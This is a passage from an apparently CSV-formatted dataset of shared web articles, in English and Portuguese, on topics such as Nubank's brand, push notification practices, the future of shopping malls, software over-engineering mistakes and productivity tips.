are running in each of their sales opportunities. Yes, this is more complicated, and no, it is not easy to do this in most CRM systems, but frankly, that has to change. And now would not be too soon. That's what I think. What do you think? _________________________________________________________________________ Geoffrey Moore | Zone to Win | Geoffrey Moore Twitter | Geoffrey Moore YouTube",en
1469831089,CONTENT SHARED,-339230353302835829,3217014177234377440,-4272322401347807552,,,,HTML,http://startse.infomoney.com.br/portal/2016/07/29/21365/nubank-e-considerada-uma-das-marcas-mais-revolucionarias-do-mundo/,Nubank é considerada uma das marcas mais revolucionárias do mundo,"Segundo um estudo realizado pela Interbrand , Facebook, Ready Set Rocket e New York Sotck Exchange, o Nubank - uma das principais startups brasileiras - é uma das consideradas marcas revolucionárias. O que isso quer dizer? ""Trata-se da próxima geração de marcas, que está remodelando o mercado e que contém uma característica essencial: o crescimento. Essas marcas crescem a partir de sua própria cultura: rejeitam a burocracia, descobrem e incentivam novas ideias e aceleram a tomada de decisão para que possam chegar logo ao mercado. Marcas revolucionárias ditam o ritmo do mercado - e de todas as outras marcas -, especialmente quando refletem também o ritmo das pessoas"", explica o estudo. Ainda de acordo com os dados divulgados, o Nubank seria impressionante em qualquer país, mas no Brasil ganha ainda mais destaque por ser um dos países com ""maiores taxas de juro no mundo"". Ao simplificar serviços financeiros e criar uma plataforma completamente digital, que reduz os custos ao consumidor, o Nubank está redefinindo sua indústria. A proposta da startup é simples: oferecer aos consumidores um cartão de crédito sem taxas anuais e com juros abaixo da média do mercado, com controle feito via mobile. Milhões de pessoas já aderiram ao serviço, que está há pouco mais de três anos no mercado. Gostaria de agradecer pela visita! Meu nome é Felipe Moreno, sou editor-chefe do StartSe e, como muito de vocês, dono de uma (minúscula) startup de mídia. E vou te fazer um pequeno convite: vamos bater um papo! É só se cadastrar aqui embaixo e eu vou te enviar alguns e-mails para você com o melhor do nosso conteúdo para te ajudar, seja você um empreendedor, funcionário, investidor ou apenas interessado neste maravilhoso mundo! É um caminho de comunicação direto que nenhum outro portal oferece para seus leitores. E a intenção é construir uma comunidade vibrante que esteja preparada para todos os enormes desafios que virão. Vamos construir conhecimento e conteúdo juntos! Conto muito com a presença de vocês neste papo! E não é só isso! Você tem alguma sugestão de pauta? Quer conversar sobre sua startup? Assessora alguma empresa? Tem alguma dica que pode ajudar outros leitores? Quer ter a SUA matéria publicada no site? O StartSe quer ouvir de VOCÊ, nosso leitor, o que precisamos fazer para melhorar cada vez mais o site! Deixamos o form abaixo para você, mas se quiser, basta mandar um e-mail para redacao@startse.com.br! E por último, não esqueçam de entrar no grupo de discussão do StartSe no Facebook! Lá poderemos debater tecnologia, inovação, startups, empreendedorismo e criar um ambiente saudável de troca de opiniões e networking!",pt
1469969328,CONTENT SHARED,-5434287697440336767,3302556033962996625,1661598464766588931,,,,HTML,https://growthbug.com/how-to-send-better-push-notifications-the-complete-guide-to-push-notifications-9dcf92714397?gi=fcddc633d623,How to send better push notifications - the complete guide to push notifications - Growth Bug - App World,"How to send better push notifications - the complete guide to push notifications Push is a big channel for retention and engagement for mobile apps. In this post i'll talk about the best practices for push notifications and the metrics to be considered when measuring the impact of push on your overall app growth. Topics to be covered: Constraints on mobile - designing better push notifications Common failures of push - what's the optimal number of pushes? Simple steps to improve push notifications Measuring push notifications - metrics for push notification Among the constraints when designing for mobile one of the major ones is divided attention. So we're usually doing 5-6 things when we're using our mobile phone so it's really important that the message is short and clear. The other important point to be considered is that we're constantly on the move. Hence it's difficult for a user to act immediately on a notification. Let me elaborate this a bit more. Here's an example of dorm-room debbie crossing the busy street with a latte in her hand when she gets a push notification from her library app. So which of the following push notifications would be most useful? The first notification provides you with an alert however in the middle of a busy street there's little one can do about it. Also we're so constrained for time and bombarded with notifications so there's a small chance that I'm going to act on it right away. The 2nd option provides more information however the 3rd option really kills it. It let's to extend the validity of the book or allows you to navigate to maps if you want to figure out how to reach the library. Nicely done, won't you say? Below are a few examples of a few apps that do notifications well. This notification from Medium does 3 things: Provides a quick overview of the article - see how they emphasize the author name and picture. Bookmark - Save the article to be read later. Note that this option is on the right since most people are right handed (Paying attention to handedness). Recommend - This action recommends/favorites the article resulting in an increased reach for the article. Medium here has preferred 'Recommend' over the share feature usually found in news app notifications. .Let's check Gradestack - an app which helps you take courses online. Pros: Provides actions to save the notification to be viewed later. Also lovely icon. Cons: Generic messaging which fails to grasp user attention. A better idea would be to use the information for 'interests' captured while on-boarding to suggest a particular course in demand. Some of the content for this article(the debbie example!) has drawn from the fabulous Udacity course UX Design for Android Developers. Making it visual also helps bring it to the user's attention. As Anand points out in his post unsubscribing a push notification is too much work for a user who has really low real-estate on his app. Currently with the large number of apps installed, my mobile screen looks something like this. Personalize, Personalize, Personalize. A lot has been said about personalization and how it helps you get the best out of push notifications. However the quintessential product manager in me tells me that one always has to find a balance between effort and results. So let's set out with the easy ones - Control the default configuration for push Make it easy to control turn on/off pushes. Push notifications for logged-in users Geo-location specific push notifications Default push configuration : Android Marshmallow will change this significantly with upfront permissions for each activity however for now we should put a lot of thought into the default configuration for push notifications categories/frequency. We can allow the user to opt-in to particular categories for push for a news app. Make it easy for the user to turn on/off push notifications. Here's an example of MakemyTrip which makes it impossible for the user to turn off push-notifications. Push notifications for logged-in users. As I said earlier, personalized notifications are the best. Go a step-ahead and use information already available to do better. Example an push from Makemytrip for a trip would be - Dinesh, your Jet Airways flight to Delhi departs in 2 hrs 30 min. Dinesh, your Jet Airways flight to Delhi has been delayed by 2 hrs. In the next article, I would explain how to send personalized push notifications using the push service of your choice. Let people sleep! Unless there's an apocalypse coming there's no need to disturb a user at 2.00 am! Also delay your push notifications to be sent a while after network is restored - need to check how to do this, just an idea currently! Segmentation: Each user is different Each user is different. Based on the response to push notifications, we can add a user to different segments/buckets to change his frequency/quality of push notifications. E-commerce companies these days send a lot of promotional offers. Based on the action on consecutive promotional offers, we can limit the frequency of push messages. Please note that sometimes a user reads the notification but doesn't perform an action since it's self explanatory - so a left swype is not always bad. However no action on an offer denotes 'not interested' Measure impact of push notifications - essential metrics Now that we've considered the best practices for push notification, let's look into some of the metrics to be considered for push notifications. An app open isn't the only metric to be considered when measuring the effect of push notifications. With Android adopting the lock-screen notifications, a lot of users swype the notification after reading it in the lock-screen. Push notification attribution To understand the success of your campaign, it's required to tie pushes with goals inside your app. Tie campaigns to only most important goals to avoid noise. Goals for a news application: Read - article open in the app Share - share from the notification window Read and share - article opened and then shared Read and bookmark - article opened and then bookmarked Examples: A news app might record an event each time a user shares a story on social media. (Is the content deep-linked from notifications relevant to users?) A retail app might record an event each time a user makes a purchase following a promotional message. (Did app revenue increase in response to a ""Sale"" notification?). Currently there are 2 ways of attribution: Direct: Events that occur during app sessions after open from a notification. Indirect: Events that occur when the app is opened without interacting with a notification and within 12 hours of a notification's delivery. Your push service provider might add some marketing terminology like 'assisted opens' but we can ignore it for now. Snap-shot of opt-in/opt-out status If you have enabled an opt-in for your app, you can track the number of users who're changing the status on a daily basis. Do push notifications lead to uninstalls? The most important question on every app-developer/product manager's mind is 'Are push notifications leading to app uninstalls?' Looking at the number of devices uninstalled daily, we can get an idea if push notifications are causing more uninstalls. Please note that we only know a device is uninstalled when we try to ping the device again and GCM returns a response. How do we know if a device is uninstalled? If a user uninstalls your app the next time you send a push to that device, you get a feedback from the platform push service(GCM). There are two ways to ping devices to check for uninstalls: Via a standard push message (iOS & Android) Via a background push, using the Content Available flag (iOS7+ only) For option one, after sending a push to a device that has uninstalled your app, we receive feedback from GCM or APNs that the device is inactive. This method of checking for uninstalls requires that the device had push enabled, as it is dependent on sending a standard push message. On this same note, Anand talks about how many push tokens become invalid after a while. This can help you figure out the time-period over which uninstalls happen. If you found this post useful, please feel free to comment and hit RECOMMEND so that others can read it too. You can also follow me on twitter If you have questions, please feel free to email me at lastnamefirstname@gmail.com In the next article i'll talk about how to tie up push notifications with Google Analytics and how to complete the entire loop of data. Peace!",en
1469971192,CONTENT SHARED,-8723568727518869245,3302556033962996625,1661598464766588931,,,,HTML,https://growthbug.com/the-most-important-push-notification-metric-ea0aeb2c0249?gi=7a05fbc1913,The Most Important Push Notification metric - Growth Bug - App World,"It's important that your app is instrumented correctly to measure and track all the right things before diving in. First, track repeat usage behavior - Intercom has a great writeup on Measuring Retention (looks like Google Analytics is testing cohort retention capabilities too) Log when a push token is created for a user Log when push tokens are no longer valid (make sure you use ""Soft"" Deletion - more on Stackoverflow )[1] Attribute Pushes - sending parameters with your pushes so that when a user swipes through, your app can make sense of which specific push the user swiped on ( this warrants a whole other post) At the very least, you should have a device tokens table that looks something like this: Table 1 - An example device token table Now here's where tracking #2 & #3 from above come in handy. You should be able to write queries that tell you when cohorts of push tokens are ""churning"": Table 2 - Push Token Attrition Push tokens can most likely be invalid if a user has deleted your app or if the user has turned off push notifications for your app[1]. Either way, you are unable to send pushes to that user any longer. While retention is the metric we most commonly look at - the glass half full metric - it is just as important that we look to see if the pushes we're sending are causing users to churn out. In the example in table 2, 10 tokens were no longer valid after day 1. A total of 20 tokens were no longer valid after day 3, which means 20% of the users who had signed up and opted for push notifications are no longer reachable. What do you think that is doing to your retention?",en
1469976528,CONTENT SHARED,1436883058900979473,-1616903969205976623,-5530575741825489868,,,,HTML,http://www.mckinseyonmarketingandsales.com/the-future-of-the-shopping-mall,The future of the shopping mall,"Officially shopping malls are defined as ""one or more buildings forming a complex of shops representing merchandisers, with interconnected walkways enabling visitors to walk from unit to unit."" 1 Unofficially, they are the heart and soul of communities, the foundation of retail economies, and a social sanctuary for teenagers everywhere. In recent decades, the concept of the shopping mall, which has its origins in the U.S. and became a full-blown modern retail trend there in the post-WWII years, has proliferated across the globe. The five largest malls in the world now reside in Asia. China's New South China Mall in Dongguan stands at the top of the heap with 2.9 million square meters of space. Despite its ubiquity, the mall as it's been conceived for the last half century is at a critical inflection point. A storm of global trends are coming together at the same time to cause malls to change the role they play in people's lives. No longer are they primarily about shopping. Now, when consumers visit malls, they are looking for experiences that go well beyond traditional shopping. When today's consumers visit malls, they are looking for experiences that go well beyond traditional shopping. The trends helping to create this change include changing demographics, such as an aging population and increased urbanization, which means more people living in smaller spaces and a greater need for public spaces in which to socialize and congregate. In this environment, malls offer a welcome watering hole, especially in cities where other public spaces are not safe. Sustainability concerns are causing some consumers to prefer mixed use developments where they can live, shop and work all within walking distance - instead of having to get into a car and drive to a crowded suburban mall. The growing middle classes in Latin America and Asia maintain a strong association between consumption and pleasure, driving the need for more engaging shopping experiences. And finally, the e-commerce revolution and the rise of digital technologies are fundamentally reshaping consumer expectations and shifting the function of stores toward useful and entertaining customer experiences. As these trends advance across the global stage, they are forcing mall operators to rethink how they conceive and operate their properties. This identity crisis is most intense in the U.S., the country that pioneered malls and has the most malls per inhabitant. Thanks to a continued economic slowdown and rapid advance of the digital revolution, the U.S. mall industry is retracting and facing high vacancy levels. Websites such as deadmalls.com collect pictures of weedy parking lots and barren food courts, and try to explain how once-thriving shopping centers began to spiral downward. In the face of these considerable challenges, malls are seeking to stay relevant, drive growth and boost efficiency. We see successful players investing along three key fronts. 1. Differentiating the consumer offering, with a focus on experience and convenience. Online shopping provides consumers with ultimate levels of convenience. Malls will never be able to compete with the endless product selection, price comparisons and always-on nature of online. Nor should they try. Instead, malls need to move in a different direction, away from commoditized shopping experiences and toward a broadened value proposition for consumers. In 2011, the Australian mall company Westfield launched an online mall (and later a mobile app) with 150 stores, 3,000 brands, and over 1 million products. Innovative malls are incorporating value-added elements that attempt to recast the mall as the new downtown, including concerts, arts centers, spas, fitness clubs, and farmer's markets. These services provide a level of leisure and entertainment that can never be satisfied online. Xanadu, a mall 30 km from Madrid, for instance, has gone out of its way to provide the means for parents to spend quality time with their children. The mall features a ski slope, go karts, balloon rides, bowling and billiards. Similarly, the Mall of America in Minnesota has an underwater aquarium, a theme park, and a dinosaur walk museum. In Brazil, for instance, a new focus on leisure and entertainment is already driving growth. Revenue coming into malls from these offerings grew 41 percent in 2013 compared to 2012. An emphasis on fine dining and events is also helping to make malls the hub of the local community - a place to share quality time with friends and family, not just wolf down a meal at the food court. The King of Prussia Mall, located 30 km from Philadelphia, has a Morton's Steakhouse and Capital Grille. The Crystal Cove shopping center in Newport Beach, CA has more than a dozen upscale restaurants, including Tamarind of London and Mastro's Ocean Club. On the tenant mix front, innovative malls are strategically rethinking the types of stores that consumers will respond to. Anchor tenants that drive traffic are still key, but we also see a new emphasis on a curated mix of smaller stores that add a sense of novelty to the mall offering. Additionally, some malls are making greater use of temporary, flexible spaces that can accommodate different stores over time. Pop up stores, showroom spaces and kiosks provide customers with a sense of the unexpected and give them a reason to treasure hunt. Finally, malls are overcoming the commoditization problem by focusing on specific consumer segments and/or creating specific zones within the mall that allow consumers to find an area that caters to them. In the Dubai Mall, for instance, ""Fashion Avenue"" is an area dedicated to luxury brands and services tailored to the upscale customer, including a separate outside entrance and parking area. In the 7-story CentralWord mall in Bangkok, home décor is on the 5th level, technology on the 4th, and fashion apparel on 1-3. This approach also represents a way for malls to ensure that customers don't get lost inside the ever increasing square footage of malls. 2. Transforming the mall experience by leveraging technology and multichannel strategies. The digital transformation of retail is not all bad news for malls. On the contrary, it presents new opportunities for malls to engage consumers throughout their decision journeys. There are three primary ways in which malls are leveraging technology: The most innovative malls today look nothing like their predecessors. First, they are extending their relationships with customers to before and after the mall visit. This is about engaging customers through compelling content and creating deeper bonds with them through social media and proprietary sites and apps, as well as loyalty programs. Social media can be used, for instance, to create buzz about new tenants or solicit ideas from consumers about ideas for new stores. One mall company has utilized segmented Facebook communication to speak to different communities, such as different geographies or interest groups or specific malls. Mall loyalty programs can provide the means for malls to establish a direct relationship with customers that goes beyond each visit to the mall, while allowing malls to collect precious information about customers. Just like retailers, malls should reach out to their customers with customized offers, gift ideas and other targeted advertisements based on real time intelligence and location-based marketing. While malls face the challenge of not having direct access to shopper purchase data, this can be overcome by inducing shoppers to use their smartphone to scan purchase receipts in exchange for points that can be redeemed for concerts tickets, books, discount vouchers for participating merchants, free parking or invitations to events (e.g., a fashion show). Alternatively, technologies such as face recognition, location-based mobile ads, and beacons are already being successfully applied in order to identify and establish targeted contact with repeat customers. Such technologies are also valuable for gathering consumer behavioral data from which malls can glean useful insights. Secondly, malls are using technology to transform mall usability as a means of improving customer satisfaction. There is ample opportunity for malls to decrease customer pain points, while simultaneously creating entirely new delight points. Technology, for instance, can be used to address one of the biggest challenges shoppers face at the mall - finding parking. Sensors located in parking lots detect how many spots are available on each level and give visual indicators to drivers. Once within the mall, mobile apps can offer quick, easy guides to help shoppers find what they're looking for at today's increasingly large and multi-level malls. Thirdly, malls are utilizing digital capabilities to take the shopping experience to the next level. It critical for malls to take a more active role in shaping the shopping experience, either by acting more like retailers or by partnering with them. Mall players are experimenting with a variety of different business models to make this happen, but there are no certain winners yet. To introduce elements of e-commerce into the mall, Taubman partnered with Twentieth Century Fox to put virtual storefronts - ""Fox Movie Mall"" - in at least 18 luxury malls. There, shoppers can purchase movie tickets by scanning a QR code with their smartphone. As the barriers between online and offline blur, some mall operators are venturing into online with a complete virtual mall offering. In 2011, the Australian mall company Westfield launched an online mall (and later a mobile app) with 150 stores, 3,000 brands, and over 1 million products. The company collects a small listing fee from merchants, as well as a commission of between 20-30 percent on every sale. Driven by the knowledge that 60 percent of the 1.1 billion annual shoppers in its malls use mobile devices, Westfield also created a research lab located in San Francisco, with the mission of finding technology applications and services that can further enhance the retail experience for both shoppers and retailers. 3. Exploration of new formats and commercial real estate opportunities. The most innovative malls today look nothing like their predecessors. Although location remains the key real estate consideration for malls, a differentiated design and structure is increasingly important. Open air malls go a long ways toward lending an atmosphere of a town center, especially when they incorporate mixed use real estate. Many of the malls being built in urban areas are open and fully integrated with the landscape. The Cabot Circus Shopping Centre in Bristol, England, for instance, has a unique shell-shaped glass roof that's the size of one and a half football fields. Incorporating environmental sustainability considerations, the mall is accessible by public transportation and features a rainwater harvesting system. Even malls that are enclosed are now incorporating more natural ambiance into their design, installing plants and trees, wood walls and floors, waterfalls, and lots of glass to let in natural lighting. Such elements help malls better blend in with their surroundings. It is critical that malls be about much more than stores. We see the mix of tenant/public space moving from the current 70/30 to 60/40, or even 50/50. When this happens, these expanded public spaces will need to be planned and programed over the year much like an exhibition. They will be managed more like content and media, instead of real estate. Mixed used developments offer consumers an attractive, integrated community in which to live, work and shop. They also serve to generate additional traffic for the malls while maximizing returns on invested capital. Other commercial real estate opportunities that can add alternative revenue streams are hotels, office buildings and airports. Lastly, outlets malls are an increasingly popular alternate format in more mature markets such as the U.S., particularly after the downturn of the economy, and they have been a key driver of growth for many players. In emerging economies like Brazil, outlets are also gaining attention and we see mall operators experimenting with this format as a means of attracting price conscious consumers and deal seekers. Implications for malls Although these trends are expressing themselves to varying degrees in different markets around the world, we believe they are relevant globally and should be taken to heart no matter where mall companies operate. There are three strategic considerations that players should understand when figuring out how to best react. 1) Evolve the offering by defining a clear value proposition for both consumers and retailers, anchoring it on deep consumer insights and bullet-proof economics. Among the large universe of options for enhancing the customer experience, it is possible to identify initiatives that will be both ROI-positive and substantially boost the satisfaction customers have toward malls. To do this, mall players must first isolate and quantify the consumer touch points that are most responsible for driving satisfaction. Use these touch points to prioritize areas of investment and to design a cohesive customer experience program that will yield higher visit and/or spend rates, and ultimately greater consumer loyalty. 2) Increase productivity and efficiency of the current mall base through a strategic review of the tenant mix, taking into account consumer needs and retailer economics. This analysis should guide the management of rent pricing and overall commercial planning. On the cost front, the focus should be on strict management of direct and indirect costs, combined with operational efficiency, which is critical for successful customer experience transformations. 3) Think surgically about where and how to grow in a way that won't jeopardize returns. Focus on city clusters and regions that have distinctive opportunities for growth. This includes thinking purposefully about disciplined capex management and which formats are going to create the biggest impact, whether that's traditional, multi-use, neighborhood or outlet. Executing against these considerations will often require that mall players develop new capabilities. Westfield, for example, has established a Digital Office group that reports to the CEO with the mission of spearheading digital initiatives across the organization. Other companies have created ""customer experience"" teams that are responsible for creating and integrating a unified vision of customer initiatives. Still others have created retail teams responsible for working on partnerships with retailers, or alternatively, operating retail operations themselves. The world of retail is changing dramatically, but the mall still can have a central role in urban and suburban societies. To avoid becoming what one chief executive calls a ""historical anachronism - a sixty-year aberration that no longer meets the public's needs,"" mall operators must expand their horizons of what a mall can be. They must envision themselves no longer as real estate brokers, but instead as customer-facing providers of shoppable entertainment.",en
1469987436,CONTENT SHARED,3321223121670148312,3609194402293569455,-968407594505786110,,,,HTML,http://trendwatching.com/trends/protective-tech/,New South & Central America Trend Briefing from TrendWatching | PROTECTIVE TECH,"Based on murder rates, nine of the ten most dangerous cities in the world are in South & Central America (WorldAtlas, June 2016). While the extent of street crime varies greatly from country to country and neighborhood to neighborhood, that's a sobering fact. What role can technology play in all this? We all know that the smartphone has revolutionized many aspects of daily life across the continent, particularly for affluent Latin Americans. The mobile superpowers of immediacy, transparency and 24/7 access to the global brain are hard to beat. But the smartphone has failed to fully deliver its owner from a range of dangers. Now, primed to expect life-changing digital solutions, the citizens of South & Central America are looking to brands and businesses to step forward with tech-fueled innovations that keep them safe and secure.",en
1469992520,CONTENT SHARED,2581138407738454418,6756039155228175109,611377856408166257,,,,HTML,https://medium.com/@rdsubhas/10-modern-software-engineering-mistakes-bc67fbef4fc8,10 Modern Software Over-Engineering Mistakes,"10 Modern Software Over-Engineering Mistakes Few things are guaranteed to increase all the time: Distance between stars, Entropy in the visible universe, and Fucking business requirements . Many articles say Dont over-engineer but don't say why or how. Here are 10 clear examples. Important Note: Some points below like ""Don't abuse generics"" are being misunderstood as ""Don't use generics at all"", ""Don't create unnecessary wrappers"" as ""Don't create wrappers at all"", etc. I'm only discussing over-engineering and not advocating cowboy coding. 1. Engineering is more clever than Business Engineers think we're the smartest people around because we build stuff. This first mistake often makes us over-engineer. But if we plan for 100 things, Business will always come up with the 101st thing we never thought of. If we solve 1,000 problems, they will come back with 10,000 problems. We think we have everything under control - but we have no clue what's headed our way. In my 15 year involvement with coding, I have never seen a single business ""converge"" on requirements. They only diverge. Its simply the nature of business and its not the business people's fault. TL;DR - The House (Business) Always Wins Tip: If you don't have time to go through the entire post, then this one point is enough. 2. Reusable Business Functionality When Business throws more and more functionality (as expected), we sometimes react like this: We try to group and generalize logic as much as possible. This is why most MVC systems end up in either Fat Models or Fat Controllers. But as we saw already, business requirements only diverge, they never converge. Instead, how should we have reacted: Shared logic and abstractions tend to stabilise over time in natural systems. They either stay flat or relatively go down as functionality gets broader. When the opposite happens, it creates systems that are Too big to fail (leading closer to the dreaded rewrite). Example: We created a User profile system for a previous client. Started with a CRUD controller with shared functionality because we assumed everything is going to be similar. But ended up with 13 different signup flows - initial social connection, a long signup form upon first entry, smaller and edit page sections, completely different looking profile page and so on and on - that it made very little sense to share stuff in the end. Similarly, an Order View and Order Edit flow ends up so inherently different from the actual Ordering flow. Try to vertically split business functionality first before splitting horizontally. This works in all cases - isolated services, trunk-based services, language-specific modules, etc. Also helps to switch from one form to another with ease. Otherwise it becomes increasingly complicated to change parts of the system. TL;DR - Prefer Isolating Actions than Combining Tip: Pick one external-facing action (Endpoint/Page/Job/etc) in your codebase. How many context switches does someone need to understand what's going on? 3. Everything is Generic (Sometimes goes together with previous point, but also seen applied individually in separate projects) Want to connect to a database? Lets write a Generic Adapter Query that database? Generic Query Pass it some params? Generic Params Build those params? Generic Builder Map the response? Generic Data Mapper Handle the user request? Generic Request Execute the whole thing? Generic Executor and so on and so on Sometimes Engineers get carried away. Instead of trying to solve the business problem, we waste our time trying to find the perfect abstractions. The answer is so simple. Designs are always playing catch up to changing real world requirements. So even if we found a perfect abstraction by miracle, it comes tagged with an expiry date because #1 - The House wins in the end. The best quality of a Design today is how well it can be undesigned. There is an amazing article on write code that is easy to delete, not easy to extend . TL;DR - Duplication is better than the wrong abstraction Conversely, Duplication is sometimes essential for the right abstraction. Because only when we see many parts of the system share ""similar"" code, a better shared abstraction emerges. The Quality of Abstraction is in the weakest link. Duplication exposes many use cases and makes boundaries clearer. Tip: Shared abstractions across services sometimes leads to Microservices ending up as a Distributed Monolith . 4. Shallow Wrappers The practice of wrapping every external library before using it. Unfortunately most wrappers we write are Shallow. We are juggling between delivering functionality and writing a good wrapper. So our wrappers are mostly tightly bound to the underlying library (in some cases being a 1:1 mirror, or doing 1/10th of what the original library does with 10x effort). If we change the underlying library later, usages of this wrapper everywhere usually end up having to be changed as well. Sometimes we also mix up business logic inside wrappers, making it neither a good wrapper nor a good business solution, but some kind of gluey layer in between. This is 2016. External libraries and clients have improved leaps and bounds. OSS Libraries are fantastic. They have high quality and well tested codebases written by awesome people, who have had dedicated, focused time writing it. Most have clear, testable, instrumentable APIs, allowing us to follow the standard pattern of Initialize - Instrument - Implement. TL;DR - Wrappers are an exception, not the norm. Don't wrap good libraries for the sake of wrapping Tip: Creating an ""agnostic"" wrapper is no laughing matter. ""Swap out library"" comes from a mindset of ""Configurability"" which is covered in detail in the ""<X>-ity"" section later. 5. Applying Quality like a Tool Blindly applying Quality concepts (like changing all variables to ""private final"", writing an interface for all classes, etc) is NOT going to make code magically better. Check Enterprise FizzBuzz (or Hello World ). It has a gazillion code. In the micro-level each class follows SOLID principles, uses all sorts of great Design patterns (factory, builder, strategy, etc) and coding techniques (generics, enums, etc). It gets high Code quality ratings from CQM tools. But if we take a step back, this prints Fizz Buzz . TL;DR - Always take a step back and look at the macro picture Conversely, automated CQM tools are good at tracking Test coverage, but can't tell whether we are testing the right thing. A benchmark tool can track performance, but can't tell whether stuff runs parallel or sequential. Only a Human has to look at the big picture. Which takes us to... 5.1. Sandwich Layers Lets take a concise, closely bound action and split it into 10 or 20 sandwiched layers, where none of the individual layers make any sense without the whole. Because we want to apply the concept of ""Testable code"", or ""Single Responsibility Principle"", or something. In the Past  - this was done by a chain of Inheritance. A extends B extends C extends D and so on. Now  - People do the exact same thing, except they make each class have an interface/implementation and inject it into the next layer, because duh SOLID. Concepts like SOLID came up in response to abuse of Inheritance and other OOP concepts. Most engineers are unaware of where/why these concepts came from, but just end up following the memo. TL;DR - Concepts need shift in Mindset. Cannot be applied blindly like tools. Learn a different language and try the other mindset of doing things. That makes a fundamentally better developer. Pouring old wine in a new labelled bottle doesn't work for concepts. We never have to tear apart a clear design in the name of applying a concept. 6. Overzealous Adopter Syndrome Discovered Generics. Now even a simple ""HelloWorldPrinter"" becomes ""HelloWorldPrinter<String,Writer>"". Don't use Generics when its obvious that a problem handles only specific data types, or when normal type signatures are enough. Discovered Strategy Pattern. Every ""if"" condition is now a strategy. Why? Discovered how to write a DSL. Gonna use DSLs everywhere. I don't know... Used Mocks. Gonna mock every single object I'm testing. how to even... Metaprogramming is awesome, let me use it everywhere describe why... Enums/Extension Methods/Traits/whatever are awesome, let me use it everywhere this is wrong. TL;DR - TL;DRs should not be used everywhere 7. <X>-ity Configurability Security Scalability Maintainability Extensibility ... Vague. Unchallenged. Hard to argue against. FUD. Example 1: Lets build a CMS for our forms for ""Extensibility"". Business people can add new fields easily. Result: Business people never used it. When they had to, they would have a developer sit right beside them and do it. Maybe all we needed was a simple Developer guide to add a new field in few hours, instead of a point-and-click interface? Example 2: Lets design a big Database layer for easy ""Configurability"". We should be able to switch database in a single Magic file. Result: In 10 years, I've seen only one business make serious effort to completely swap a fully vested database. And when it happened, the ""Magic file"" did not help. There was so much operational work. Incompatibilities and gaps in functionality. And the client asked us to switch ""one half"" of our models to the new NoSQL database. We tore our hair apart - our Magic toggle was a single point of change, but this was cross-cutting. In today's world, we're well past a point where there is no way to design a single configurable layer for modern document/KV stores (e.g. Redis/ CouchDB/ DynamoDB/ etc). Not even SQL Databases like Postgres/ HSQLDB/ SQLite are compatible for that matter. Either you completely dumb down your data layer (and struggle with delivering functionality), or acknowledge the database as part of your solution (e.g. postgres geo/json features) and throw away configurability guilt. Your stack is as much part of your solution as your code. When you let go of this vague X-ity, better solutions start to emerge. e.g. You can now break data access vertically (small DAOs for each action) instead of horizontally (magic configurable layer), or even pick and choose different data stores for different functionality [micro] services style. Example 3: We built an OAuth system for enterprise clients. For the Internal administrators - we were asked to use a secondary Google OAuth system. Because Security. If someone hacks our OAuth, business didn't want them to get access to admin credentials. Google OAuth is more secure, and who can argue against ""more security"" at any point? Result: If someone really wanted to hack into our system, they don't have to go through the OAuth layer. We had many vulnerabilities lying around. e.g. they could have just done privilege escalation. So all that effort of supporting two different OAuth user profiles and systems everywhere had little to no returns in securing our system, compared to properly securing our base first. TL;DR - Don't let <X>-ities go unchallenged. Clearly define and evaluate the Scenario/Story/Need/Usage. Tip: Ask a simple question - ""What's an example story/scenario?"" - and then dig deep on that scenario. This exposes flaws in most <X>-ities. 8. In House ""Inventions"" It feels cool in the beginning. But these are most common sources of Legacy in few years. Some examples: In-house libraries (HTTP, mini ORM/ODM, Caching, Config, etc) In-house frameworks (CMS, Event Streaming, Concurrency, Background Jobs, etc) In-house tools (Buildchains, Deployment tools, etc) Things that are missed: It takes a lot of skills and deep understanding of the problem domain. A ""Service runner"" library needs expertise of how daemons work, process management, I/O redirection, PID files and so on. A CMS is not just about rendering fields with a datatype - it has inter-field dependencies, validations, wizards, generic renderers and so on. Even a simple ""retry"" library is not so simple. There is a constant effort required to keeping this going. Even a tiny open source library takes a lot of time to maintain. If you open source it, nobody cares. Except the original starters and people paid to work on it. The original starters will eventually move away with the ""Inventor of X"" tag in their résumé. Contributing to existing frameworks takes up more time NOW. But creating an ""invention"" takes up considerably more time going forward. TL;DR - Reuse. Fork. Contribute. Reconsider. Finally, if really pushed to go ahead, do it only with an Internal OSS mindset. Fight with existing competition. Work to convince even internal people to use this. Don't take it for granted since you are an insider. 9. Following the Status Quo Once something is implemented in a certain way, everyone implicitly starts building on top of it. Nobody questions the status quo. Working code is considered ""the right way"". Even in cases where it was never intended, people go all the way around to even slightly fit into what's existing. A Healthy System churns. An Unhealthy system is additive-only. Areas of code that don't see commits for a long time are smells. We are expected to keep every part of the system churning. Here is a wonderful article explaining this in detail . How teams iterate vs How they should, Every single day: TL;DR - Refactoring is part of each and every story. No code is untouchable 10. Bad Estimation Frequently we see really good teams/coders end up producing shit. We see their codebase and wonder ""WTF, was this really developed by that team/person I thought was awesome?"" Quality needs time and not just skill. And smart developers frequently overestimate their capability. Finally they end up taking ugly hacks to finish stuff on a self-committed suicide timeline. TL;DR - Bad Estimation destroys Quality even before a single line of code is written If you made it this far, thanks! Reminder that I'm only discussing over-engineering and not advocating cowboy coding. Further links:",en
1469996705,CONTENT SHARED,-8254222281357012124,3609194402293569455,-968407594505786110,,,,HTML,http://saiadolugar.com.br/empreendedorismo/dicas-para-aumentar-produtividade/,Dicas para aumentar produtividade: 14 dicas incríveis.,"Provavelmente você já deve ter passado por um dia daqueles em que nitidamente sente que não tem o número de horas necessárias no dia para cumprir com todas as suas atividades. Pois saiba que hoje tenho uma boa notícia para te dar: você não é a única pessoa com problemas de produtividade atualmente. Ser uma pessoa produtiva, tanto na vida profissional quanto na vida pessoal, em tempos de conexão digital constante, não é uma tarefa das mais simples e fáceis. São dezenas de distrações impactando nossos compromissos diários, de maneira que quando chega o final do dia, há sempre a sensação de que poderia ter sido feito um pouco mais. Como então conseguir entregar mais resultado em menos tempo? O post de hoje vem justamente para responder esta pergunta. Vamos mostrar a você o que é a produtividade, o que significa ser produtivo, quais os maiores inimigos da produtividade , e por fim, vamos apresentar 14 dicas incríveis para você aumentar a sua capacidade de produção e entrega. Vamos lá? Ser produtivo é diferente de estar sempre atarefado Muitas pessoas que acreditam serem altamente produtivas são as mesmas que acham que uma lista de tarefas cheia, com praticamente pouco tempo de respiro entre as atividades, seja sinônimo de produtividade. Diferente do que a maioria pensa, estar sempre atarefado e com a agenda cheia, não significa ser uma pessoa produtiva. Afinal de contas, não é difícil encontrar pessoas que se orgulham da agenda cheia, mas que no fim do dia reclamam que não conseguem realizar a maior parte das tarefas naquela lista que parece interminável. Terminar suas atividades 